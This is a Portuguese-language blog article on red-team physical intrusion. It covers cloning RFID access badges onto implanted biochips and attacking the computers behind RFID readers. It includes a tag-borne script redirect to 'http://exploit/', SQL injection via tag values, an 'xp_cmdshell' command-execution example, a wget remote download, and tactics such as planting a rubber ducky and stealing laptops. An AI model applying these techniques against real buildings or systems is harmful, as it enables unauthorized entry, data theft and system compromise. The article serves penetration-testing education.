Luca Ottoni
stolabs
Published in
12 min readNov 27, 2017

--

RFID/NFC BIOHACKING para RED TEAM

0. Prologo

Todo o conteúdo apresentado neste paper é uma soma do meu conhecimento pessoal a inumeras palestras da DEF CON, BLACKHAT assim como papers publicados sobre o assunto.

1. Introdução — O que é o RED TEAM ?

O termo se originou no exército e descreve um time cujo propósito é penetrar um perímetro amigo expondo suas falhas de segurança. Os membros são profissionais que deixam provas de seu sucesso, como por exemplo deixar um cartão falando “RED TEAM esteve aqui” em locais de acesso restrito ou “Seu notebook foi apreendido” em casos de funcionários menos atentos. Algumas vezes, após uma penetração bem sucedida, um funcionário de segurança de ranking alto, ao fazer uma análise vai encontrar tais evidências. Posteriormente, o termo se tornou popular na industria cibernética, onde a segurança de sistemas é normalmente testadas por tiger teams

COMO VOCÊ SABE QUE AGUENTA UM SOCO SE NUNCA ENTROU NUMA BRIGA?

O RED TEAM te coloca no ringue. Ele te coloca numa briga. Muitos estão nos seus laboratórios e atrás de firewalls mas se colocar mano-a-mano com um adversário que você não sabe se vai conseguir derrubar é uma história completamente diferente.

1.1. Razões para investir em um RED TEAM

- É um teste num cenário real onde você vê se sua empresa aguentaria a luta contra um adversário altamente motivado, engenhoso e subsidiado.

- O único tipo de teste que cobre uma superfície de ataque totalmente convergente(física, social e cibernética).

- A avaliação de impacto é imediata e planejada para mostrar um evento de dano máximo.

- É um nicho de mercado.

- É um procedimento com uma boa margem de lucro.

2. Como funciona um ataque de RED TEAM ?

A idéia por trás do RED TEAM TESTING é a de ‘blended attacks’(Mistura de ataques). O lugar onde está a interseção do social, eletrônico e físico é onde está o foco do RED TEAM.

Neste paper irei falar exclusivamente sobre o ataque físico direto. Ataques deste tipo podem levar a acesso físico a empresa o que pode levar a acesso as máquinas e comprometimento total dos sistemas. Ou comprometer algum aparelho eletronico que vai nos dar acesso a um sistema de crachás que futuramente poderá nos dar acesso físico– o que será demonstrado futuramente aqui.

- Tailgating

- Lock Picking

- Ganchos por baixo de portas

- Key Bumping

- Bypass de sistemas de fechadura

- Chaves de elevador

Imagem 1 : Red Team na interseção de ataques.

Imagem 1 : Red Team na interseção de ataques.

3. RFID/NFC

3.1. Uma visão geral

As tags de RFID funcionam muito bem mas elas são extremamente barulhentas por natureza. O que significa que nem sempre é possível executar estes ataques com sucesso mas o que vou demonstrar aqui é basicamente o HACKING de RFID, ou seja, apitou e você está dentro.

Um conhecimento comum é que ninguém vai tentar te parar se você tirar seu cartão, passar no leitor, ele fizer ‘beep’ e a porta abrir para você. Você pode comprar um cartão falso, clonar um id, talvez até colocar uma foto e a logo da empresa nos padrões adequados ou usar um biochip.

QUEM VAI TE PARAR DEPOIS QUE VOCÊ JÁ ESTÁ DENTRO DA EMPRESA?

3.2. Frequencias de TAGs RFID

Low Freq (LF) — 120kHz — 140kHz — Distância : até 914 mm

High Freq(HF) — 13.56MHz — Distância : de 914mm até 3 Metros

Não entrarei em detalhes porque muitos já entendem exatamente como elas funcionam mas vou falar sobre esses dois tipos.

3.3. Compreendendo Sistemas de Acesso RFID

Quem ainda os utiliza?

O modelo ‘Legacy 125-kilohertz proximity technology’ ainda se encontra em 70% a 80% de todo controle a acesso físico de empresas dos EUA e ainda deve permanecer assim durante muito tempo até que algo mude, diz Stephane Ardiley, gerente de produtos da HID GLOBAL.

Quem está vulnerável?

- Estabelecimentos Governamentais(e seus contratantes)

- Estabelecimentos Médicos

- Instituições Financeiras

- Sítios Nucleares

- Estabelecimentos fornecedores de energia e água

- Instituições de ensino

Eles ainda utilizam cartões RFID arcaicos (não criptografados) para acesso, ou seja, não implementaram ainda, a já ultrapassada, forma criptograda, que vamos ‘ownar’ em breve.

Crachás de acesso

Estes são 4 componentes básicos de um sistema de crachás de acesso. Temos o cartão que é na verdade energizado pelo leitor (Pense como apontar uma luz forte num espelho) e assim manda informações para ele. Isso é enviado de volta para um controlador que por sua vez está ligado ao computador hospedeiro com um banco de dados permitindo assim uma decisão lógica ser tomada.

Cartão: envia um número de 26–37 bits.

Leitor: Converte a informação no cartão para o ‘Protocolo Wiegand’ para assim transmitir para o controlador.

Nenhuma decisão de acesso é feita pelo leitor.

Controlador: Os dados passados pelo cartão em código binário são desencodados.

Decide se deve ou não conceder acesso.

Computador Hospedeiro: Adiciona ou remove portadores de cartão, privilégios de acesso.

Monitora eventos do sistema em tempo real.

Imagem 2 : Como funcionam crachás de acesso

Imagem 2 : Como funcionam crachás de acesso

4. Espionagem corporativa para Cyberpunks

4.1. Biochips & Biohacking

Biohackers(Grinders) são pessoas que aplicam a ética hacker para melhorar suas próprias habilidades corporais com soluções cibernéticas do tipo ‘faça-você-mesmo’. Muitos Grinders se identificam com o movimento cyberpunk, o transhumanismo open-source e o tecno-progressivismo. Atualmente no Brasil temos poucos Grinders. Uma cidade como o Rio de janeiro possue somente dois implantandos com biochips.

Como clonar um cartão de acesso para um biochip implantando? Na verdade é muito simples clonar um cartão de acesso para um biochip como será demonstrado em breve.

Existe 4 tipos de biochips populares mas neste paper irei falar especificamente sobre os que serão implantandos em mim. O xEM RFID TAG [T5577 Emulator] e o xNT NFC TAG [NTAG216].

O xEM RFID TAG é um chip ATA5577 RFID operando na frequência de 125kHz e obedecendo a ISO 11784/785. Vem encapsulado em vidro biocompatível de 2x12mm. Funciona com EM41xx, HID ProxCard II e sistemas Indala. Clone EM41xx Ids, HID ProxCard II e Indala Ids para seu xEM. Ele pode clonar e emular tags com suas habilidades de leitura e escrita. Funciona com muitos leitores RFID tanto na área comercial quanto de hobbies.

O xNT NFC TAG é um chip NTAG216 do tipo NFC 2 operando na frequencia 13.56MHz que obedece a ISO14443A. Assim como o xEM RFID ele vem encapsulado num vidro biocompatível e é plenamente responsivo a todos os aparelhos NFC incluindo USB e todos os celulares capazes de utilizar a tecnologia NFC. Possue um UID de 7 bytes e 880 bytes de memória pronto para escrita/leitura de seu usuário. Tem garantia de 10 anos de retenção de informação. Foi estimado que pode se escrever 100 mil vezes por bloco.

Imagem 3 : o raio x pode mostrar a presença de biochips implantados.

4.2. Clonagem de cartões em implantes

Como dito posteriormente a clonagem de cartões para chips implantados é bem simples mas seu impacto num ponto de vista corporativo pode ser devastador. Usando um leitor ligado ao computador, através da linha de comando(CLI) podemos verificar o ID de um chip implantado(final 88) seguido de o ID de um chaveiro de acesso RFID(final 99).

Imagem 4 : Demo de leitura de chip implantado e chaveiro de acesso

Precisamos falar para ele qual o tipo de chip que vai virar o clone e neste caso vai ser o T55X7 então é tão simples quanto escrever clone e o processo está feito. Você tem no seu chip as infos que antes estavam contidas somente num crachá, cartão ou chaveiro de acesso. Assumindo que não se tem acesso direto ao cartão poderia ser usado aparelhos como a proxmark III para sniffar uma comunicação entre cartão e leitor de forma a posteriormente garantir as informações necessárias para a clonagem.
Existe ainda leitores/escritores de bolso que facilitam muito o processo. O xEM cloner é um bom exemplo. Posicione o cartão perto de sua antena e leia para salvar as informações. Depois posicione-o diretamente no seu chip e ele irá escrever essas informações nele como demonstrado nas imagens a seguir.

Imagem 5 : Usando a CLI para clonar um cartão para o seu chip implantado
Imagem 6 : xEM cloner clonando um cartão
Imagem 7 : xEM cloner gravando o cartão num biochip

5. ‘Ownando’ com RFID

O objetivo desta parte é discutir os princípios por trás da exploração de falhas, além dos métodos práticos que podem ser usados para ‘exploitar’ o RFID.

5.1. Exploiting com RFID

‘Exploiting’ com RFID não é muito longe de como ele já funciona normalmente. O conceito é simples. Tudo que precisa ser feito é a leitura da informação contida dentro de uma tag. Para ler essa tag nos precisamos de um leitore RFID. Um leitor de RFID de longo alcance pode ser construído com um arduino Pro Micro 5V ou comprando já construido. Uma vez isso sendo feito, é possível usar um leitor para escrever sua própria tag RFID e criar um clone(como demonstrado anteriormente). Isso é conhecido como um ‘Replay Attack’. No entando há coisas a serem consideradas quando fazendo isto:

- Se a tag da vítima possui capacidades de leitura e escrita então proteção via token pode ser uma possibilidade. Um exemplo disso é quando a tag de uma pessoa é lida pelo leitor e o token enviado é então mudado e o token atual é então escrito na tag.

- Algumas tags possuem metodos ‘built in’ que permite que elas sejam desligadas se os seus fabricantes assim quiserem.

- Lembre-se que a maioria das vezes as informações enviadas pela tag estão protegidas por RSA ou Rolling code.

Para uma visão mais completa de ‘RFID exploitation não podemos nos limitar somente a olhar para a tag RFID propriamente dita. Precisamos também olhar para o leitor.

Leitores RFID são conhecidos por sofrerem de vulnerabilidades de negação de serviço e até vulnerabilidades de buffer overflow usadas para executar código no sistema conectado ao leitor.

5.2. Ataques DOS com RFID

Ataque de negação de serviço podem ser fáceis de executar. O objetivo de um ataque de DOS num sistema RFID geralmente vem do desejo de impedir os serviços de um alvo ou alvos. Um simples exemplo de um ataque RFID desse tipo se baseia em colocar um chip com tag RFID defeituoso perto do leitor RFID, dessa forma permanentemente gerando mensagem de erro. Isso significa que quando um funcionário bem intencionado tentar entrar usado sua tag válida o chip defeituoso vai agir fazendo que o leitor ainda ache que algo está errado. Isso também é conhecido por Colisão RFID.

Os principais ataques discutidos aqui não vão envolver negação de serviço e sim a exploração do computador por trás do leitor RFID.

5.3. RFID WEB EXPLOITATION

Algumas tags RFID possuem URLS para páginas de usuário que são checadas via browser do computador ao invés de via banco de dados. O browser utilizado para ver essa URL pode estar vulnerável a exploits ou injeções de código. Por exemplo, vamos colocar o browser para ir numa web page contendo um ‘exploit code’ poderia ser tão simples quanto configurar a informação da tag para ‘<script>document.location=’http://exploit/’;</script>’. Outras tags RFID contém informações que são utilizadas como input em alguma web page. Por exemplo, a URL onde a informação do usuário é inserida poderia ser algo como ‘http://site/check.php?usr=user_key’ o que pode estar vulneravel a XSS. A vulnerabilidade de XSS pode ser utilizada para atacar a máquina do leitor RFID via client-side Javascript Injection. Lembre-se que SSI também pode ser utilizada para executar comandos de terminal.

5.4. Injeção de SQL com RFID

Bancos de dado são o método principal de validação de usuários. Obviamente, graças a isso, injeção de SQL é um problema real. O problema ocorre porque o input não é sanetizado corretamente. Por exemplo SELECT id FROM users WHERE key=%user_key% pode causar um erro se a tag do usuário for alterada de alan para alan’ porque o apóstrofe significa a final da query seria SELECT id FROM users WHERE key=’alan’. Isso sozinho poderia produzir erro, no entanto, mudando a string para alan’; permitiria que você inserisse seu próprio código após a próxima query de consequentemente acessando o banco de dados da forma que bem escolher.

5.5. Buffer Overflow com RFID

Ataques de estouro de pilha são os de maior impacto quando se tratando da exploração de um sistema operacional. Eles ocorrem quando mais informação é lida do que esperado. Neste caso o problema que ocorre é que o programa que interage com o leitor RFID e o software tem um buffer para uma quantidade bem limitada de informação. Este tamanho é geralmente semelhante a quantidade de informação contida na tag. No entanto a informação lida pelo leitor pode exceder esse tamanho e assim resultando num estouro de pilha. Se soubermos quanto de informação é necessária para encher a pilha podemos adicionar informações adicionais que nos permitirão execução de código na máquina vítima. Por exemplo, uma vez que a pilha esteja completa podemos definir que o endereço de retorno é ele +4 de forma que um jump ocorra para a informação presa na stack(a qual desejamos que executar os comandos). A seguir poderiamos push o comando que desejamos que o sistema execute e finalmente chamar a função no sistema para que ele seja executado. Seguido disto deve aparecer a informação do comando e um %00 (O endereço disto é o endereço que o push para a stack foi feito). Vale relembrar que os bytes nas tags vai geralmente estar em ordem revertida devido a arquitetura Little-Endian.

5.6. RFID Malware

Malware é uma ameaça comum entre usuários de computador. No entando, quando um item que foi infectado for um banco de dados o problema se torna bem maior. RFID malware é possível graças aos bancos de dados que os leitores de RFID estão conectados. Isso por si só já se conecta com o que aprendemos mais cedo sobre injeção de sql que por sua vez não é só utilizada para obter informações mas também para executar comandos no computador por trás do leitor. Ataques de estouro de pilha como mencionados anteriormente podem fazer isso mas você pode se ver preso exclusivamente aos acessos que o banco de dados poderia fazer. O comando EXEC pode ser muito útil nestes casos. Um exemplo de execução de comandos através do banco de dados seria EXEC xp_cmdshell ‘dir’; o que vai listar os arquivos naquele diretório. Sabendo disto você já pode começar a assumir outras ferramentas que podem ser utilizadas naquele computador especificamente. Por exemplo criando um novo usuario neste sistema e se conectando a ele atraves de Remote Desktop Connection. Se o computador conectado ao banco de dados estiver rodando linux será possível executar o comando wget de maneira que se inicie um download de arquivo num servidor remoto.

6. Do laboratório para as ruas.

A idéia num ataque em grande escala de RED TEAM TESTING + Biohacking RFID poderia envolver a combinação da ProxMark III, xEM Cloner + cartões falsos, biochips(Web Exploitation, DOS, BufferOverflow, SQLi, Malware) e engenharia social.

ID obtido e agora?

A partir deste momento é trivial o processo de replicar essas informações para dentro de um biochip como demonstrado nas imagens 4,5,6 e 7. Um Biohacker com boas habilidades de engenharia social poderia penetrar pela porta de entrada e procurar da maneira mais indetectável possível o melhor ponto para espetar um rubber ducky ou BashBunny, roubar um notebook esquecido em alguma mesa não atendida, esconder um raspberry Pi, esconder um wifipineapple, obter cadernos ou blocos de anotações, roubar ‘Post-its’ com informações sigilosas coladas nas telas das máquinas, Tirar fotos ou filmar o ambiente interno do estabelecimento, estudar os habitos e cultura empresarial, vasculhar lixeiras, Descobrir se existe alguma pia entupida ou banheiro com problemas e posteriormente usar essa informação como pretexto para infiltrar o time todo na empresa vítima.

A lista só cresce.

7. Considerações Finais

Imagem 8 : Escalada de privilégios no RED TEAM TESTING aliada ao Biohacking

O RED TEAM TESTING aliado ao BIOHACKING pode deixar uma corporação de joelhos de maneira rápida e indetectável. Os blended attacks podem ocasionar uma escalada de privilégios. Passando pela clonagem de um cartão de acesso ao prédio, comprometimento de controles de acesso, monitoramento de atividades, Identificação de falhas do sistema, Profiling (Perfilagem) e finalmente modificação de privilégios de acesso.

--

--